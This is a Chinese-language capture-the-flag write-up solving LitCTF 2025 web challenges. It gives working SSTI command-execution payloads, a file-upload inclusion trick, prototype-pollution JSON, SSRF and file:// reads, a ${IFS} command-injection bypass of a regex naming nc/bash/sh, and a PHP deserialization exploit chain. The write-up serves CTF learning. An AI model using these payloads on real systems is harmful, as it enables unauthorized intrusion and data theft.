本文最后更新于 2025-06-10T00:11:34+08:00
[LitCTF 2025]星愿信箱
猜测是SSTI,测试需要输入文字

加上个文字,存在waf
,过滤了{{}}

使用{%%}
替代

这里发现似乎不需要输入文字也可以

确实是SSTI,测试后发现过滤了cat
和flag
,可以进行编码绕过,也可以用nl /*
替代,其他的似乎没啥过滤了,打SSTI
1 2 3 4 5 6 7 8 9 10 11 12
| {% for i in ''.__class__.__base__.__subclasses__() %}
{% if i.__name__ =='_wrap_close' %}
{% print i.__init__.__globals__['popen']('nl /*').read() %}
{% endif %} {% endfor %}
|
完整paylaod
1
| {% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__ =='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls /').read() %}{% endif %}{% endfor %}
|

1
| {% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__ =='_wrap_close' %}{% print i.__init__.__globals__['popen']('nl /*').read() %}{% endif %}{% endfor %}
|

简单一点也可以利用lipsum
的__globals__
的os
模块得到popen
函数,从而执行命令
1
| {% print lipsum.__globals__.os.popen('nl /*').read() %}
|

[LitCTF 2025]nest_js
打开是一个登录界面

利用bp的Intruder爆破用户名和密码

用户名猜是admin,密码爆出来是password,登录就是flag

[LitCTF 2025]easy_file
打开一个登录界面

在源码中有个提示,得到个参数file

和上一题一样用bp爆密码,用户名猜是admin

抓包发现会进行一次base64加密,在payload加入base64编码



可以得到有个响应包是302状态码

base64解码得到密码是password

登录后是文件上传页面,可以利用之前的file参数,可以包含上传的文件
测试后发现只能上传jpg图片

并且会检测上传的内容

绕过一下,直接上传一个jpg图片

1
| http://node6.anna.nssctf.cn:22572/admin.php?file=uploads/a.jpg&1=ls
|

1
| http://node6.anna.nssctf.cn:22572/admin.php?file=uploads/a.jpg&1=cat%20flllag.php
|

[LitCTF 2025]多重宇宙日记
题目提示打原型链


先注册一个账户登录,会来到/api/profile

查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <script> document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) { event.preventDefault(); const statusEl = document.getElementById('updateStatus'); const currentSettingsEl = document.getElementById('currentSettings'); statusEl.textContent = '正在更新...';
const formData = new FormData(event.target); const settingsPayload = {}; if (formData.get('theme')) settingsPayload.theme = formData.get('theme'); if (formData.get('language')) settingsPayload.language = formData.get('language');
try { const response = await fetch('/api/profile/update', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ settings: settingsPayload }) }); const result = await response.json(); if (response.ok) { statusEl.textContent = '成功: ' + result.message; currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2); setTimeout(() => window.location.reload(), 1000); } else { statusEl.textContent = '错误: ' + result.message; } } catch (error) { statusEl.textContent = '请求失败: ' + error.toString(); } });
async function sendRawJson() { const rawJson = document.getElementById('rawJsonSettings').value; const statusEl = document.getElementById('rawJsonStatus'); const currentSettingsEl = document.getElementById('currentSettings'); statusEl.textContent = '正在发送...'; try { const parsedJson = JSON.parse(rawJson); const response = await fetch('/api/profile/update', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(parsedJson) }); const result = await response.json(); if (response.ok) { statusEl.textContent = '成功: ' + result.message; currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2); setTimeout(() => window.location.reload(), 1000); } else { statusEl.textContent = '错误: ' + result.message; } } catch (error) { statusEl.textContent = '请求失败或JSON无效: ' + error.toString(); } } </script>
|
可以发现参数isAdmin
,应用会根据这个参数判断用户是否为admin,可以在这里打JavaScript
的原型污染
在JavaScript
中,可以通过 __proto__
属性访问其原型(prototype
),如果向对象中添加 __proto__
字段,会修改该对象的原型链,影响所有继承自该原型的对象
可以先点更新设置,抓包获得格式

1
| {"settings":{"theme":"a","language":"a"}}
|
可以利用__proto__
属性污染 settings
对象的原型
1
| {"settings":{"theme":"a","language":"a","__proto__":{"isAdmin":true}}}
|
污染根对象的原型
1
| {"settings":{"theme":"a","language":"a","__proto__":{"isAdmin":true}},"__proto__":{"isAdmin":true}}
|
发送请求

然后在刷新一下页面就会看到一个管理员面板

点进去得到flag

[LitCTF 2025]easy_signin
打开题目发现403

用dirsearch
扫目录

访问/login.html

解法一
查看源码,发现有个api.js
文件

访问得到提示/api/sys/urlcode.php?url=

测试发现可以利用file
伪协议进行任意文件读取
1
| http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=file:///etc/passwd
|

尝试读取本页面的源码
1
| http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php
|

得到327a6c4304ad5938eaf0efb6cc3e53dc.php
,访问就是flag

解法二
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <script> const loginBtn = document.getElementById('loginBtn'); const passwordInput = document.getElementById('password'); const errorTip = document.getElementById('errorTip'); const rawUsername = document.getElementById('username').value;
loginBtn.addEventListener('click', async () => { const rawPassword = passwordInput.value.trim(); if (!rawPassword) { errorTip.textContent = '请输入密码'; errorTip.classList.add('show'); passwordInput.focus(); return; }
const md5Username = CryptoJS.MD5(rawUsername).toString(); const md5Password = CryptoJS.MD5(rawPassword).toString();
const shortMd5User = md5Username.slice(0, 6); const shortMd5Pass = md5Password.slice(0, 6);
const timestamp = Date.now().toString();
const secretKey = 'easy_signin'; const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();
try { const response = await fetch('login.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Sign': sign }, body: new URLSearchParams({ username: md5Username, password: md5Password, timestamp: timestamp }) });
const result = await response.json(); if (result.code === 200) { alert('登录成功!'); window.location.href = 'dashboard.php'; } else { errorTip.textContent = result.msg; errorTip.classList.add('show'); passwordInput.value = ''; passwordInput.focus(); setTimeout(() => errorTip.classList.remove('show'), 3000); } } catch (error) { errorTip.textContent = '网络请求失败'; errorTip.classList.add('show'); setTimeout(() => errorTip.classList.remove('show'), 3000); } });
passwordInput.addEventListener('input', () => { errorTip.classList.remove('show'); }); </script>
|
会对用户名和密码进行MD5加密,取前六位作为短哈希值,使用时间戳、短哈希值和固定密钥生成签名,作为请求头X-Sign
利用脚本构造用户名、密码和请求头X-Sign
,发送请求,可以尝试出用户名为admin
弱密码为admin123
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import hashlib import time import requests
url = "http://node6.anna.nssctf.cn:23038/login.php"
username = "admin" password = "admin123" secret_key = "easy_signin"
timestamp = str(int(time.time() * 1000))
md5_username = hashlib.md5(username.encode()).hexdigest() md5_password = hashlib.md5(password.encode()).hexdigest()
short_md5_user = md5_username[:6] short_md5_pass = md5_password[:6]
sign_raw = short_md5_user + short_md5_pass + timestamp + secret_key sign = hashlib.md5(sign_raw.encode()).hexdigest()
headers = { "X-Sign": sign }
data = { "username": md5_username, "password": md5_password, "timestamp": timestamp }
response = requests.post(url, headers=headers, data=data)
try: print("[用户名]:", md5_username) print("[密码:]", md5_password) print("[签名:]", sign) print("[时间戳:]", timestamp) print("[响应状态码]:", response.status_code) print("[响应内容]:", response.text) except Exception as e: print("[错误]:", e)
|

1 2 3 4 5 6
| [用户名]: 21232f297a57a5a743894a0e4a801fc3 [密码:] 0192023a7bbd73250516f069df18b500 [签名:] 52bff74515ab8df5d14e00aef5bc8e7c [时间戳:] 1748272837039 [响应状态码]: 200 [响应内容]: {"code":200,"msg":"\u767b\u5f55\u6210\u529f,\u60a8\u5df2\u83b7\u5f97\u8bb8\u53ef!"}
|
利用bp抓包修改,发送请求

登录成功,复制到代理界面放包,浏览器查看

跳转到/dashboard.php
,得到提示/var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php

访问得到的路径,不过访问不到

可以利用之前在api.js
中得到的提示访问
1
| http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=/var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php
|

不过报错不是本地用户,可以利用SSRF,带上http://127.0.0.1/
1
| http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php
|

也可以利用file
伪协议读
1
| http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=file:///var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') { highlight_file(__FILE__);
$name="waf"; $name = $_GET['name'];
if (preg_match('/\b(nc|bash|sh)\b/i', $name)) { echo "waf!!"; exit; }
if (preg_match('/more|less|head|sort/', $name)) { echo "waf"; exit; }
if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) { echo "waf!"; exit; }
exec($name, $output, $return_var); echo "执行结果:\n"; print_r($output); echo "\n返回码:$return_var"; } else { echo("非本地用户"); }
?>
|
GET传参name,存在waf
,空格使用${IFS}
绕过,最后可以在上一级目录找到flag文件327a6c4304ad5938eaf0efb6cc3e53dc.php
1
| http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=ls${IFS}../
|

利用cat
读不到flag
1
| http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=cat${IFS}../327a6c4304ad5938eaf0efb6cc3e53dc.php
|

直接访问得到flag
1
| http://node6.anna.nssctf.cn:23038/327a6c4304ad5938eaf0efb6cc3e53dc.php
|

[LitCTF 2025]君の名は
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php highlight_file(__FILE__); error_reporting(0); create_function("", 'die(`/readflag`);'); class Taki { private $musubi; private $magic; public function __unserialize(array $data) { $this->musubi = $data['musubi']; $this->magic = $data['magic']; return ($this->musubi)(); } public function __call($func,$args){ (new $args[0]($args[1]))->{$this->magic}(); } }
class Mitsuha { private $memory; private $thread; public function __invoke() { return $this->memory.$this->thread; } }
class KatawareDoki { private $soul; private $kuchikamizake; private $name;
public function __toString() { ($this->soul)->flag($this->kuchikamizake,$this->name); return "call error!no flag!"; } }
$Litctf2025 = $_POST['Litctf2025']; if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){ unserialize($Litctf2025); }else{ echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆"; }
|
Taki类:
__unserialize()
:在对象反序列化时被调用,会执行$this->musubi
方法
__call()
:当调用不存在的方法时触发,会实例化$args[0]
类并调用其$this->magic
方法
Mitsuha 类
__invoke()
:当对象被当作函数调用时触发,返回$this->memory.$this->thread
的拼接结果
KatawareDoki 类
__toString()
:当对象被当作字符串使用时触发,会调用$this->soul
的flag()
方法
1
| create_function("", 'die(`/readflag`);');
|
这个代码是使用create_function
创建了一个匿名函数,会执行系统命令/readflag
,可以通过反序列化触发这个函数,就可以得到flag
1
| (new $args[0]($args[1]))->{$this->magic}();
|
可以利用这段代码触发create_function
匿名函数获取flag
1
| create_function("", 'die(`/readflag`);');
|
需要满足两个条件
- 找到匿名函数的名字
- 找到一个可以调用匿名函数的原生类
可以在本地运行代码获得匿名函数名
1 2 3 4 5 6
| <?php highlight_file(__FILE__); error_reporting(0); $a = create_function("",'die(`/readflag`);'); print_r($a); ?>
|
但是每次访问或刷新页面后,函数名后的数字会加一,从lambda_1
开始


然后是找一个可以调用匿名函数的原生类,可以搜到ReflectionFunction
的invoke
方法可以调用已定义的函数或匿名函数

ReflectionFunction
的参数是要调用的函数名,invoke
的参数是被调函数的参数
调用普通函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
function add($a, $b) { return $a + $b; }
$reflection = new ReflectionFunction('add');
$result = $reflection->invoke(3, 5); echo $result; ?>
|

调用匿名函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php
$multiply = function($a, $b) { return $a * $b; };
$reflection = new ReflectionFunction($multiply);
$result = $reflection->invoke(4, 6); echo $result; ?>
|

ReflectionFunction
的参数是要调用的函数名,invoke
的参数是被调函数的参数
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php
class Taki { public $musubi; public $magic = "invoke"; }
class Mitsuha { public $memory; public $thread; }
class KatawareDoki { public $soul; public $kuchikamizake = "ReflectionFunction"; public $name = "\000lambda_1"; }
$a = new Taki(); $b = new Mitsuha(); $c = new KatawareDoki();
$a->musubi = $b;
$b->thread = $c;
$c->soul = $a;
$arr=array("evil"=>$a); $d=new ArrayObject($arr); echo urlencode(serialize($d));
|